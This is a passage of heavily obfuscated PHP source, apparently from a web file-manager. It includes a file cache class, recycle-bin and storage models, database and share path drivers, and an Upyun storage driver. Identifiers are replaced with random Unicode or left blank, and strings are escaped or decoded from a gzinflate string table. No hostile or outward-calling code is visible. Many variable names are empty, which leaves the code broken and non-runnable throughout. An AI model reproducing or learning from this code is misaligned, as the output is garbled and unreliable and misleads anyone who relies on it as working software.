CacheLock::lock($Ȳ); $ = self::init()->set($칛, serialize($̝), $￁); self::$memoryCache[$칛] = $̝; CacheLock::unlock($Ȳ); return $; } public static function getCall($ก, $ʲ, $ǻ, $旆 = array()) { $ =& $_SERVER[]; $ٽ遣 = self::get($ก); if ($ٽ遣 || $ٽ遣 === $[12]) { return $ٽ遣; } $ٽ遣 = call_user_func_array($ǻ, $旆); $ٽ遣 = $ٽ遣 ? $ٽ遣 : $[12]; self::set($ก, $ٽ遣, $ʲ); return $ٽ遣; } public static function remove($) { $Ŋ = self::key($); unset(self::$memoryCache[$Ŋ]); self::clearTimeout(); CacheLock::lock($); $ = self::init()->remove($Ŋ); CacheLock::unlock($); return $; } public static function removeMemory($̎˞) { $ʭ = self::key($̎˞); unset(self::$memoryCache[$ʭ]); } public static function clearMemory($Ѧ = false) { if ($Ѧ) { $Ѧ = self::key($Ѧ); unset(self::$memoryCache[$Ѧ]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[][858])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[][859])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($, $) { $Ļ =& $_SERVER[]; $this->cachePath = $[$Ļ[84]]; $this->prefix = $Ļ[860]; $this->cacheTime = $; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($熋) { $ =& $_SERVER[]; $熋 = str_replace(array($[861], $[97], $[73]), $[862], $熋); return $this->cachePath . $[863] . $熋 . $[864]; } public function set($۫, $굁, $ = false) { $ = $ ? $ : $this->cacheTime; $ٷɤ = $this->getFile($۫); if (file_put_contents($ٷɤ, $this->prefix . $굁, LOCK_EX)) { @touch($ٷɤ, intval(time() + $)); clearstatcache(); return !0; } @unlink($ٷɤ); return !1; } public function get($) { $鐬Ů = $this->getFile($); if (file_exists($鐬Ů) && filemtime($鐬Ů) < time()) { @unlink($鐬Ů); return !1; } $ù = @file_get_contents($鐬Ů); return substr($ù, strlen($this->prefix)); } public function remove($ݔ) { $ƌ = $this->getFile($ݔ); return @unlink($ƌ); } public function deleteAll() { $變 =& $_SERVER[]; $ޭŹ = scandir($this->cachePath); foreach ($ޭŹ as $¡) { $էƺ = $this->cachePath . $¡; if (strpos($էƺ, $變[864]) && strpos($էƺ, $變[865])) { @unlink($էƺ); } } } public function clearTimeout() { $ր =& $_SERVER[]; $׀ = scandir($this->cachePath); foreach ($׀ as $禓) { $ְ = $this->cachePath . $禓; if (strpos($ְ, $ր[864]) && strpos($ְ, $ր[865]) && filemtime($ְ) < time()) { @unlink($ְ); } } } } goto c; A儇ج: define($_SERVER[][0], $_SERVER[][1]); $_SERVER[ؓ] = explode($_SERVER[][2], gzinflate(substr($_SERVER[][3], 10, -8))); function binCheckEq($գ, $) { return $գ == $; } goto E; a̕: class SourceRecycleModel extends ModelBase { protected $tableName = "\151\x6f\137\x73\x6f\165\x72\x63\x65\137\x72\145\143\171\x63\x6c\x65"; protected $dataAuto = array(array("\x63\x72\145\141\164\145\124\x69\x6d\x65", "\x74\x69\x6d\x65", "\x69\156\163\145\x72\164", "\x66\165\x6e\143\164\151\157\156")); public function listData($ = false) { $ͤ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = $this->where(array($ͤ[1667] => $))->select(); return array_to_keyvalue($, $ͤ[12], $ͤ[431]); } public function moveToRecycle($) { $г =& $_SERVER[]; $ = Model($г[1366]); $ = $->sourceInfo($); if (!$ || $[$г[460]] == $г[88]) { return; } $騘 = array($г[446] => $, $г[1667] => USER_ID, $г[605] => $[$г[440]], $г[606] => $[$г[525]], $г[609] => $[$г[540]]); $this->add($騘); $this->recycleMove($, 1); if ($[$г[439]] == $г[88]) { $ = array($г[609] => array($г[569], $[$г[540]] . $ . $г[570])); $->where($)->setField($г[460], 1); } } public function clear() { $this->remove(!1); } public function remove($Ž = false, $ = false) { $꜂ =& $_SERVER[]; $ = $ ? $ : USER_ID; $– = Model($꜂[1366]); $ꗏ = $this->listData($); $Ž = $Ž === !1 ? !1 : $Ž; $ = array(); foreach ($ꗏ as $Ӡ) { if ($Ž != !1 && !in_array($Ӡ, $Ž)) { continue; } $ = $–->sourceInfo($Ӡ); $–->remove($Ӡ, !1); $Ɂ = $[$꜂[440]] . $꜂[11] . $[$꜂[525]]; $[$Ɂ] = array($꜂[605] => $[$꜂[440]], $꜂[525] => $[$꜂[525]]); $this->where(array($꜂[431] => $Ӡ))->delete(); } foreach ($ as $) { $–->targetSpaceUpdate($[$꜂[440]], $[$꜂[525]]); } } public function restore($ = false) { $렭 = $this->listData(); $this->_restoreSource($렭, $); } public function removeUserAll($ӑ) { $this->remove(!1, $ӑ); } private function _restoreSource($, $ئ) { $ =& $_SERVER[]; $Ƕ = Model($[1366]); $ئ = $ئ == !1 ? !1 : $ئ; if (!$) { return !0; } $Ї = array(); foreach ($ as $ȲՉ) { if ($ئ != !1 && !in_array($ȲՉ, $ئ)) { continue; } $𬸡 = $Ƕ->sourceInfo($ȲՉ); $ = $Ƕ->sourceInfo($𬸡[$[461]]); if ($[$[460]] == $[88]) { continue; } $Ƕ->lockMoveStart($ȲՉ); $this->recycleMove($ȲՉ, 0); if ($𬸡[$[439]] == $[88]) { $녟 = array($[609] => array($[569], $𬸡[$[540]] . $ȲՉ . $[570])); $Ƕ->where($녟)->setField($[460], 0); $this->restoreFolderChildren($ȲՉ, $); } $this->where(array($[431] => $ȲՉ))->delete(); $Ƕ->folderSizeReset($𬸡[$[461]]); $Ї[] = $𬸡[$[461]]; if ($𬸡[$[439]] == $[88]) { $Ї[] = $ȲՉ; } $Ƕ->lockMoveEnd($ȲՉ); } $Ƕ->updateModifyTime($Ї); } private function restoreFolderChildren($, $ߕ) { $Ծ۝ =& $_SERVER[]; $ = Model($Ծ۝[1366]); $ = array($Ծ۝[431] => array($Ծ۝[7], array())); foreach ($ߕ as $) { if ($ == $) { continue; } if (!$->isParentOf($, $)) { continue; } $ҍ = $->sourceInfo($); if ($ҍ[$Ծ۝[439]] == $Ծ۝[88]) { $[] = array($Ծ۝[609] => array($Ծ۝[569], $ҍ[$Ծ۝[540]] . $ . $Ծ۝[570])); } else { $[$Ծ۝[431]][1][] = $; } } if (!$[$Ծ۝[431]][1]) { unset($[$Ծ۝[431]]); } if (!$) { return; } $[$Ծ۝[431]][1] = array_unique($[$Ծ۝[431]][1]); $[$Ծ۝[1033]] = $Ծ۝[1964]; $->where($)->setField($Ծ۝[460], 1); } private function recycleMove($˃, $跿 = 1) { $羽 =& $_SERVER[]; $ޛ = Model($羽[1366]); $ = Model($羽[2180]); $̆񑢅 = array($羽[431] => $˃); if ($跿) { $ޛ->where($̆񑢅)->setField($羽[460], 1); $->eventRecycle($˃, $羽[2181]); } else { $ύ = $ޛ->where($̆񑢅)->find(); $ = $ύ[$羽[439]] == $羽[88]; $ = $ޛ->fileNameAuto($ύ[$羽[461]], $ύ[$羽[32]], REPEAT_RENAME_FOLDER, $); if ($ != $ύ[$羽[32]]) { $ޛ->rename($˃, $); } $ޛ->where($̆񑢅)->setField($羽[460], 0); $->eventRecycle($˃, $羽[2182]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\123\x79\x73\x74\145\x6d\56\163\157\165\x72\x63\145\x53\145\143\x72\x65\164\x4c\x69\x73\x74"; public $field = array("\163\x6f\165\162\x63\x65\111\104", "\x74\x79\160\x65\111\x44", "\x63\x72\145\x61\x74\145\x55\x73\145\162"); } class StorageModel extends ModelBaseLight { public $optionType = "\123\171\163\x74\145\x6d\56\x73\164\157\x72\141\147\x65\x4c\151\163\x74"; public $field = array("\x6e\x61\x6d\x65", "\163\151\172\x65\115\x61\x78", "\163\171\163\164\145\155", "\144\145\146\x61\165\x6c\x74", "\x64\x72\x69\x76\145\162", "\x63\x6f\156\146\x69\x67"); public function listData($ = false, $И = "\x6d\157\x64\151\x66\x79\x54\151\155\x65", $̑ = false) { $׍ =& $_SERVER[]; $沦 = parent::listData($, $И, $̑); if ($) { return $沦; } $ڋ = $this->ioSizeUseGet(array_to_keyvalue($沦, $׍[12], $׍[428])); foreach ($沦 as $ => $޿) { unset($沦[$][$׍[6]]); $沦[$][$׍[1855]] = isset($ڋ[$޿[$׍[428]]]) ? $ڋ[$޿[$׍[428]]] : 0; } return $沦; } public function ioSizeUseGet($پ) { $д =& $_SERVER[]; if (!$پ) { return array(); } $ψ = $д[2183] . implode($д[50], $پ); $ԏ = Cache::get($ψ); if ($ԏ) { return $ԏ; } $а = array($д[843] => $д[428], $д[2184] => $д[76]); $ = array($д[843] => array($д[7], $پ)); $ԏ = Model($д[815])->field($а)->where($)->group($д[843])->select(); $ԏ = array_to_keyvalue($ԏ, $д[428], $д[76]); Cache::set($ψ, $ԏ, 600); return $ԏ; } public function getConfig($ȥ) { $ = parent::listData($ȥ); return json_decode($[$_SERVER[][6]], !0); } public function update($ʧ, $) { $˰ =& $_SERVER[]; $ = $[$˰[32]]; $ = array_to_keyvalue(parent::listData(), $˰[32]); if (isset($[$]) && $[$][$˰[428]] != $ʧ) { return !1; } $this->checkPwd($ʧ, $); if (isset($[$˰[2185]]) && $[$˰[2185]] == $˰[88]) { $this->checkConfig($); } unset($[$˰[2185]]); $ԙ = parent::update($ʧ, $); if ($ԙ && $[$˰[37]]) { $ = 0; foreach ($ as $خ) { if ($خ[$˰[37]] && $خ[$˰[428]] != $ʧ) { $ = $خ[$˰[428]]; parent::update($خ[$˰[428]], array($˰[37] => 0)); } } $this->updateBackup($ʧ, $); } return $ԙ; } public function add($) { $ϻ =& $_SERVER[]; $ْ = array_to_keyvalue(parent::listData(), $ϻ[32]); if (isset($ْ[$[$ϻ[32]]])) { return !1; } $this->checkConfig($); $ٱ = parent::insert($); if ($ٱ && $[$ϻ[37]]) { foreach ($ْ as $) { if ($[$ϻ[37]]) { parent::update($[$ϻ[428]], array($ϻ[37] => 0)); } } } return $ٱ; } public function updateBackup($, $Υ) { $տ =& $_SERVER[]; if (!$Υ) { return; } $볡 = Model($տ[775])->config(); if ($볡[$տ[1646]] != $տ[88] || $볡[$տ[777]] != $Υ) { return; } $ = Model($տ[796])->get($տ[806]); $ = json_decode($, !0); if (!$) { return; } $[$տ[777]] = $; Model($տ[796])->set(array($տ[806] => $)); } public function checkPwd($ۻ, &$亻) { $ؗ =& $_SERVER[]; if (empty($亻[$ؗ[6]])) { return; } $ = json_decode($亻[$ؗ[6]], !0); $ = $ؗ[12]; $۔ = array($ؗ[2186], $ؗ[2187], $ؗ[920]); foreach ($۔ as $) { if (isset($[$])) { $ = $; break; } } if (!$) { return; } $а = $this->getConfig($ۻ); $΂ = $а[$]; $ = $[$]; if ($ == str_repeat($ؗ[189], strlen($΂))) { $[$] = $΂; $亻[$ؗ[6]] = json_encode($); } else { if ($ != $΂) { $亻[$ؗ[2185]] = $ؗ[88]; } } } public function checkConfig(&$, $Ռ = false) { $ =& $_SERVER[]; $ެ = strtolower($[$[95]]); $ᘨ = json_decode($[$[6]], !0); foreach ($ᘨ as $ྴ => $⪹) { $ᘨ[$ྴ] = trim($⪹); } $ᘨ[$[2188]] = rand_string(6); $ـ = $GLOBALS[$[6]][$[89]][$[852]]; $֒ = isset($ـ[$ެ]) ? $ـ[$ެ] : ucfirst($ެ); $Ԥ = $[74] . $֒; if (!$֒ || !class_exists($Ԥ)) { if ($Ռ) { return LNG($[2189]); } write_log(array($[2190], $, get_caller_info()), $[2191]); show_json(LNG($[2189]), !1, $); } $ = new $Ԥ($ᘨ); if (in_array($ެ, $->objectDriver)) { if (!$->isBucketCors() && !$->setBucketCors()) { $ = LNG($[2192]); $ .= $[2193] . LNG($[2194]); if ($Ռ) { return $; } show_json($, !1); } } $¢陔 = rtrim($ᘨ[$[1213]], $[8]) . $[8]; $ = $->getPath($¢陔 . $[1217]); if (!$->mkfile($)) { if ($Ռ) { return LNG($[2192]); } show_json(LNG($[2192]), !1); } $ᘨ[$[1213]] = $¢陔; $[$[6]] = json_encode($ᘨ); $[$[95]] = $֒; return !0; } public function driverListSystem() { $ =& $_SERVER[]; $Ǭܾ = parent::listData(); $쳈 = array(); foreach ($Ǭܾ as $˙) { unset($˙[$[201]], $˙[$[85]]); $˙[$[6]] = json_decode($˙[$[6]], !0); $쳈[] = $˙; } return $쳈; } public function defaultDriver() { $㜪Ԡ =& $_SERVER[]; $LJ = parent::listData(); $ = array_filter_by_field($LJ, $㜪Ԡ[37], 1); $ = $[0]; if ($) { $[$㜪Ԡ[6]] = json_decode($[$㜪Ԡ[6]], !0); } return $; } public function driverInfo($) { $ =& $_SERVER[]; $ = array_to_keyvalue(parent::listData(), $[428]); if (!isset($[$])) { return !1; } $ڀ = $[$]; $ڀ[$[6]] = json_decode($ڀ[$[6]], !0); return $ڀ; } public function remove($×) { $this->removeShareItems($×); return parent::remove($×); } public function removeWithFile($ҍ´, $) { $ =& $_SERVER[]; $穀 = array($[843] => $ҍ´); $ì = Model($[500])->where($穀)->count(); $ʯ = Model($[500])->where($穀)->sum($[76]); $ = $ . $[2195] . $ҍ´; $É = LNG($ == $[577] ? $[2196] : $[2197]); $К = new TaskFileTransfer($, $[2191], $ì, $É . "\50{$ҍ´}\51"); $К->task[$[789]] = (double) $ʯ; $ = KodIO::defaultDriver(); $ = $[$[428]]; $ = "\173\151\157\x3a{$}\175\57"; $ӣ = !0; $ = array(); $ = Model($[200])->where($穀)->field($[2198])->select(); foreach ($ as $) { $ų = $[$[84]]; $쾎 = $ . str_replace("\x7b\x69\157\x3a{$ҍ´}\175\x2f", $[12], $ų); if (!IO::exist($ų)) { $[] = $[$[497]]; $К->updateFileEnd($[$[32]], $[$[76]]); continue; } if (IO::exist($쾎)) { $К->updateFileEnd($[$[32]], $[$[76]]); continue; } if (!IO::move($ų, get_path_father($쾎))) { $ӣ = !1; break; } $穀 = array($[497] => $[$[497]]); $؞ = array($[843] => $, $[84] => $쾎); Model($[200])->where($穀)->save($؞); } $this->removeByFileID($); if (!$ӣ) { $К->stop($); return !1; } $К->end(); if ($ == $[1835]) { $this->remove($ҍ´); } } public function progress($, $) { return Task::get($ . $_SERVER[][2195] . $); } private function removeByFileID($ = array()) { $ =& $_SERVER[]; if (empty($)) { return; } $޽Ī = array($[497] => array($[7], $)); $݈ = Model($[1366])->where($޽Ī)->field($[431])->select(); if (!$݈) { return; } $݈ = array_to_keyvalue($݈, $[12], $[431]); foreach ($݈ as $鞗) { Model($[445])->removeNow($鞗, !1); } } private function removeShareItems($) { $Ĕ =& $_SERVER[]; $љ = "\173\x69\157\72{$}\x7d\57"; $ = array($Ĕ[431] => 0, $Ĕ[1208] => array($Ĕ[412], "{$љ}\x25")); $ = Model($Ĕ[1846])->where($)->field($Ĕ[622])->select(); if (empty($)) { return; } $± = array_to_keyvalue($, $Ĕ[12], $Ĕ[622]); Model($Ĕ[621])->remove($±); } } goto aÑӫ; D: class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($¦) { $this->pathParse = $¦; $this->model = Model($_SERVER[][1366]); } public function getPath($) { return trim($, $_SERVER[][8]); } public function pathFather($) { $᮴ = $this->parse($); $᮴ = $this->infoSimple($); return $᮴ ? $᮴[$_SERVER[][461]] : !1; } public function pathThis($) { $ = $this->infoSimple($); return $ ? $[$_SERVER[][32]] : !1; } public function getPathOuter($ލ) { if (!$ލ) { return $ލ; } $ = $this->parse($ލ); return KodIO::make($[$_SERVER[][428]]); } public function copyFolderFromIO($, $, $ʾ, $, $І) { $ = $this->model->copyFolderFromIO($, $, $ʾ, $, $І); return KodIO::make($); } public function isParentOf($ڰ, $™) { return $this->model->isParentOf($ڰ, $™); } public function mkfile($ď, $ = '', $ނ = REPEAT_RENAME) { $ =& $_SERVER[]; $淁 = $this->parse($ď); $ď = $淁[$[428]]; for ($ە = 0; $ە < count($淁[$[1367]]); $ە++) { $߮ = $淁[$[1367]][$ە]; if ($ە == count($淁[$[1367]]) - 1) { $ď = $this->model->mkfile($ď, $߮, $, $ނ); break; } $ď = $this->model->mkdir($ď, $߮, REPEAT_SKIP); } return $this->getPathOuter($ď); } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $ = $this->parse($); $ = $[$[428]]; for ($Ӌ = 0; $Ӌ < count($[$[1367]]); $Ӌ++) { $DžĀ = $[$[1367]][$Ӌ]; $ = $this->model->mkdir($, $DžĀ, $); } return $this->getPathOuter($); } public function copyFile($Ϩ, $麆, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $˚ = $this->parse($麆); $Ә = $this->model->copy($Ϩ, $˚[$[428]], $, $˚[$[84]]); return $Ә ? $this->getPathOuter($Ә) : !1; } public function moveFile($茧, $, $ȇ = REPEAT_REPLACE) { $瓄 =& $_SERVER[]; $꺭 = $this->parse($); $Ͽ = $this->model->move($茧, $꺭[$瓄[428]], $ȇ, $꺭[$瓄[84]]); return $Ͽ ? $this->getPathOuter($Ͽ) : !1; } public function copy($מſ, $, $ͩݷ = REPEAT_REPLACE, $ = false) { $ = $this->parse($); $ = $this->model->copy($מſ, $[$_SERVER[][428]], $ͩݷ, $); return $ ? $this->getPathOuter($) : !1; } public function moveSameAllow() { } public function move($, $ӕ, $Ǩ = REPEAT_REPLACE, $ = false) { $ώӑ = $this->parse($ӕ); $Ӕ = $this->model->move($, $ώӑ[$_SERVER[][428]], $Ǩ, $); return $Ӕ ? $this->getPathOuter($Ӕ) : !1; } public function remove($, $Ƣ = true) { return $this->model->remove($, $Ƣ); } public function rename($, $ٻګ) { $ݣˢ = $this->model->rename($, $ٻګ); return $ݣˢ ? $this->getPathOuter($) : $ݣˢ; } public function size($) { $Ϭ = $this->infoSimple($); return $Ϭ ? $Ϭ[$_SERVER[][76]] : 0; } public function infoSimple($ۮ) { return $this->model->sourceInfo($ۮ); } public function info($̞֥) { return $this->infoParse($̞֥); } public function infoAuth($) { return $this->infoParse($, !1, !0); } public function infoWithChildren($) { return $this->infoParse($, !0); } protected function infoParse($Ц, $ژ = false, $ = false) { if (!$ژ) { return $this->model->pathInfo($Ц, $); } return $this->model->pathInfoMore($Ц); } public function infoFull($Т) { $ =& $_SERVER[]; $ƈNj = explode($[8], $Т); $۲ = implode($[8], array_splice($ƈNj, 1)); return $this->model->pathInfoByPath($ƈNj[0], $۲); } public function hashSimple($ޚ) { $⫑ =& $_SERVER[]; $͗ = $this->infoWithChildren($ޚ); return $͗[$⫑[170]][$⫑[177]]; } public function hashMd5($) { $ =& $_SERVER[]; $ = $this->infoWithChildren($); return $[$[170]][$[176]]; } public function exist($ψ) { $ꠏͩ =& $_SERVER[]; $д = $this->parse($ψ); if (!$д[$ꠏͩ[84]]) { return $this->isFile($ψ) || $this->isFolder($ψ); } $ʼn = array($ꠏͩ[430] => $д[$ꠏͩ[428]], $ꠏͩ[32] => $д[$ꠏͩ[84]]); $ = $this->model->where($ʼn)->find(); return $ ? !0 : !1; } public function isFile($̾ĕ) { $ム =& $_SERVER[]; $힓 = $this->infoSimple($̾ĕ); return $힓 && $힓[$ム[439]] == $ム[88] ? !1 : !0; } public function isFolder($Ǣ) { $ =& $_SERVER[]; $ = $this->infoSimple($Ǣ); return $ && $[$[439]] == $[88] ? !0 : !1; } public function listPath($ŭڋ, $ = false) { $̔ =& $_SERVER[]; if ($ŭڋ == $̔[12]) { return !1; } $Ԇ = array($̔[430] => $ŭڋ); if ($) { return $this->model->listSource($Ԇ, -1); } return $this->model->listSource($Ԇ); } public function has($щ, $붒 = false, $ = null) { $Ĕ =& $_SERVER[]; $ = $this->infoWithChildren($щ); if ($붒) { return array($Ĕ[208] => $[$Ĕ[208]], $Ĕ[207] => $[$Ĕ[207]]); } return $ ? $[$Ĕ[208]] : $[$Ĕ[207]]; } public function listAll($) { $ޙ = IO::info($this->pathParse[$_SERVER[][84]]); if (!$ޙ) { return array(); } return $this->model->listAll($); } public function getContent($Ƅ) { return $this->model->getContent($Ƅ); } public function setContent($Կ␬, $ = '') { return $this->model->setContent($Կ␬, $); } public function fileSubstr($竑, $ɿ, $҇) { return $this->model->fileSubstr($竑, $ɿ, $҇); } public function download($櫛, $ʺ = '') { $ؐȫ = get_path_father($ʺ); $ = get_path_this($ʺ); $ߩ = $this->model->fileInfoGet($櫛); $؈ = IO::copy($ߩ[$_SERVER[][84]], $ؐȫ, !1, $); return $؈; } public function setModifyTime($, $҄ = '') { $̣ =& $_SERVER[]; if (!$) { return; } $this->model->where(array($̣[446] => $))->save(array($̣[85] => $҄)); } public function upload($, $۽, $ = false, $积 = REPEAT_REPLACE) { $ʀ =& $_SERVER[]; $ޯ = $this->parse($); $ڍ = $this->model->addFile($ޯ[$ʀ[428]], $۽, $ޯ[$ʀ[84]], $, $积); return $this->getPathOuter($ڍ); } public function uploadFileByID($, $Ĉ, $݋) { $ =& $_SERVER[]; $ = $this->parse($); $񐔞 = $this->model->addFileByFileID($[$[428]], $Ĉ, $[$[84]], $݋); return $this->getPathOuter($񐔞); } public function addFileByRemote($, $ɸ, $Ӿ = array(), $ = '', $ɜ) { $ =& $_SERVER[]; $ݝ = $this->parse($); $ = empty($) ? $ݝ[$[84]] : $; $ = $this->model->addFileByRemote($ݝ[$[428]], $ɸ, $, $Ӿ, $ɜ); return $this->getPathOuter($); } public function uploadLink($ᢪ, $ = 0) { $ٌ =& $_SERVER[]; $ᄏ = $this->parse($ᢪ); $۸ = _get($GLOBALS[$ٌ[7]], $ٌ[1368]); $ = _get($GLOBALS[$ٌ[7]], $ٌ[1369]); $ᢪ = Model($ٌ[630])->createFileName($ᄏ[$ٌ[84]], $۸, $); return IO::uploadLink($ᢪ, $); } public function fileNameAuto($, $, $Ԯȯ = REPEAT_REPLACE, $غ = false) { return $this->model->fileNameAuto($, $, $Ԯȯ, $غ); } public function fileNameExist($Кӭ, $) { return $this->model->fileNameExist($Кӭ, $); } protected function _fileOut($, $ = false, $꟭ = false, $ћ = '', $ = false) { $왧 =& $_SERVER[]; $䍠 = $this->model->sourceInfo($); if ($䍠[$왧[439]] == $왧[88]) { header($왧[1370]); die; } $ = $this->model->fileInfoGet($); $ћ = $[$왧[176]] ? $[$왧[176]] : $ћ; $ = isset($GLOBALS[$왧[1371]]) ? $GLOBALS[$왧[1371]] : $䍠[$왧[32]]; if ($) { return IO::fileOutServer($[$왧[84]], $, $, $ћ); } IO::fileOut($[$왧[84]], $, $, $ћ); } public function fileOut($㢵, $ײ = false, $ = false, $ҳ = '') { $this->_fileOut($㢵, $ײ, $, $ҳ); } public function fileOutServer($ډâ, $ = false, $Ę = false, $ = '') { $this->_fileOut($ډâ, $, $Ę, $, !0); } protected function _fileOutImage($渰, $ = 250) { $ =& $_SERVER[]; $ͯ = $this->model->pathInfo($渰); if ($ͯ[$[439]] == $[88]) { show_json($[1372] . $渰, !1); } $؞ = $this->model->fileInfoGet($渰); $؞[$[32]] = $ͯ[$[32]]; $؞[$[169]] = $ͯ[$[169]]; $GLOBALS[$[1371]] = $؞[$[32]]; $GLOBALS[$[168]] = $؞; IO::fileOutImage($؞[$[84]], $); } public function fileOutImage($؉, $ſ = 250) { $this->_fileOutImage($؉, $ſ); } public function fileOutImageServer($󩱧, $歺 = 250) { $this->_fileOutImage($󩱧, $歺); } public function link($, $Ǚ = '') { $ևӯ = $this->model->fileInfoGet($); return IO::link($ևӯ[$_SERVER[][84]], $Ǚ); } protected function parse($̿) { $ =& $_SERVER[]; if (strstr($̿, $[8]) === !1) { return array($[448] => intval($̿), $[84] => $[12], $[1367] => array()); } $ӷР = explode($[8], trim($̿, $[8])); if (count($ӷР) < 2) { show_tips(clear_html($̿) . $[1373]); } return array($[448] => intval($ӷР[0]), $[84] => $ӷР[1], $[1367] => array_slice($ӷР, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($ܘ) { $this->pathParse = $ܘ; $this->model = Model($_SERVER[][1366]); } public function getPathOuter($Ӗ) { $齇 =& $_SERVER[]; if (!$Ӗ) { return $Ӗ; } $ұ = $this->parse($Ӗ); return trim(KodIO::makeShare($this->pathParse[$齇[428]], $ұ[$齇[428]]), $齇[8]); } protected function infoParse($, $̺î = false, $ = false) { $Ǽ =& $_SERVER[]; $ = $this->pathParse[$Ǽ[428]]; $ = trim($this->pathParse[$Ǽ[1201]], $Ǽ[8]); return Action($Ǽ[1374])->sharePathInfo($, $, $̺î); } public function infoFull($¸) { $ =& $_SERVER[]; $遴 = explode($[8], trim($¸, $[8])); if (count($遴) > 1) { $ݥ = implode($[8], array_splice($遴, 1)); $ = $this->model->pathInfoByPath($遴[0], $ݥ); if (!$) { return !1; } $this->pathParse[$[1201]] = $[$[431]]; } return $this->infoParse($¸); } public function listAll($ޤá) { $ڤ =& $_SERVER[]; $ٳ = IO::info($this->pathParse[$ڤ[84]]); if (!$ٳ) { return array(); } $ = $this->model->listAll($ޤá); $ = Model($ڤ[621])->getInfo($ٳ[$ڤ[622]]); foreach ($ as &$) { check_abort(); $[$ڤ[87]] = Action($ڤ[1374])->_shareItemeParse($[$ڤ[87]], $); } unset($); return $; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($މ) { $this->pathParse = $މ; $this->model = Model($_SERVER[][1366]); } protected function infoParse($ؐɽ, $ʷŃ = false, $ = false) { $֚ =& $_SERVER[]; return Action($֚[1207])->sharePathInfo($this->pathParse[$֚[84]], !0, $ʷŃ); } public function listPath($Ҿ, $ܾɋ = false) { $ =& $_SERVER[]; $ׯ = parent::listPath($Ҿ, $ܾɋ); if (!$ׯ) { return $ׯ; } if (is_array($ׯ[$[1375]])) { $ׯ[$[1375]] = Action($[1207])->shareItemInfo($ׯ[$[1375]]); } foreach ($ׯ as $ށЪ => $گ) { if (!in_array($ށЪ, array($[83], $[82]))) { continue; } foreach ($گ as $ => $ҝᓐ) { $ׯ[$ށЪ][$] = Action($[1207])->shareItemInfo($ҝᓐ); } } return $ׯ; } public function listAll($Őƛ) { $髼 =& $_SERVER[]; $ = IO::info($this->pathParse[$髼[84]]); if (!$) { return array(); } $Ț = $this->model->listAll($Őƛ); foreach ($Ț as &$䬸ʉ) { $䬸ʉ[$髼[87]] = Action($髼[1207])->shareItemInfo($䬸ʉ[$髼[87]]); } unset($䬸ʉ); return $Ț; } } goto DÖ; C: class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\x68\x74\x74\x70\x3a\x2f\57\166\x30\x2e\141\x70\x69\56\165\160\x79\165\156\56\143\x6f\155"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($) { parent::__construct(); $this->_init($); } public function _init($䆘) { $ʚ =& $_SERVER[]; foreach ($䆘 as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($ʚ[1472] . LNG($ʚ[1403])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($͐Ί, $ = "\x47\x45\124") { $֣ =& $_SERVER[]; $ = gmdate($֣[1436]); $ = base64_encode(hash_hmac($֣[1473], "{$}\46{$͐Ί}\x26{$}", md5("{$this->userpass}"), !0)); $ܫ = array("\101\x75\164\150\x6f\x72\151\172\x61\164\151\x6f\156\x3a\125\120\131\125\116\x20{$this->username}\x3a{$}", "\104\141\164\x65\x3a{$}"); return $ܫ; } public function ussRequest($, $ = "\107\x45\124", $ě㜝 = false, $Ԓ = false, $ = false) { $ُ =& $_SERVER[]; $ = trim($, $ُ[8]); $ = "\x2f{$this->bucket}\x2f{$}"; $ƈ = $this->ussHeaders($, $); if ($Ԓ) { $ƈ = array_merge($ƈ, $Ԓ); } $͸ǀ = url_request($this->endpoint . $, $, $ě㜝, $ƈ, $); if (!$͸ǀ) { return array($ُ[1245] => !1, $ُ[1235] => $ُ[1474]); } if (strtolower($) == $ُ[197] || in_array($͸ǀ[$ُ[1245]], array($ُ[242], $ُ[1475]))) { $ě㜝 = $͸ǀ[$ُ[1476]]; } else { $ě㜝 = json_decode($͸ǀ[$ُ[1235]], !0); if (!$ě㜝) { $ě㜝 = $͸ǀ[$ُ[1235]]; } else { if (!$͸ǀ[$ُ[776]] && isset($ě㜝[$ُ[1477]])) { $ě㜝 = $ě㜝[$ُ[1477]]; } } } return array($ُ[1245] => $͸ǀ[$ُ[776]], $ُ[1235] => $ě㜝); } public function mkfile($Ņ, $لߡ = '', $Ô = REPEAT_RENAME) { if ($this->setContent($Ņ, $لߡ)) { return $this->getPathOuter($Ņ); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ꤱ =& $_SERVER[]; $ = trim($, $ꤱ[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $؞ = array($ꤱ[1478]); $ = $this->ussRequest($, $ꤱ[226], !1, $؞); return $[$ꤱ[1245]] ? $this->getPathOuter($) : !1; } public function copyFile($؝, $) { $Чˏ =& $_SERVER[]; $ە = array($Чˏ[1479] . "\x2f{$this->bucket}\x2f{$؝}", $Чˏ[1480]); $ዲ = $this->ussRequest($, $Чˏ[228], !1, $ە); return $ዲ[$Чˏ[1245]] ? !0 : $this->getPathOuter($); } public function moveFile($, $) { $녇 =& $_SERVER[]; $ӥ = array($녇[1481] . "\x2f{$this->bucket}\57{$}", $녇[1480]); $ɡ = $this->ussRequest($, $녇[228], !1, $ӥ); return $ɡ[$녇[1245]] ? !0 : $this->getPathOuter($); } public function delFile($ժ) { $ܯ =& $_SERVER[]; $ń = $this->ussRequest($ժ, $ܯ[1482]); return $ń[$ܯ[1245]] ? !0 : !1; } public function delFolder($ ) { $Ŵ =& $_SERVER[]; if (!$this->exist($ )) { return !0; } 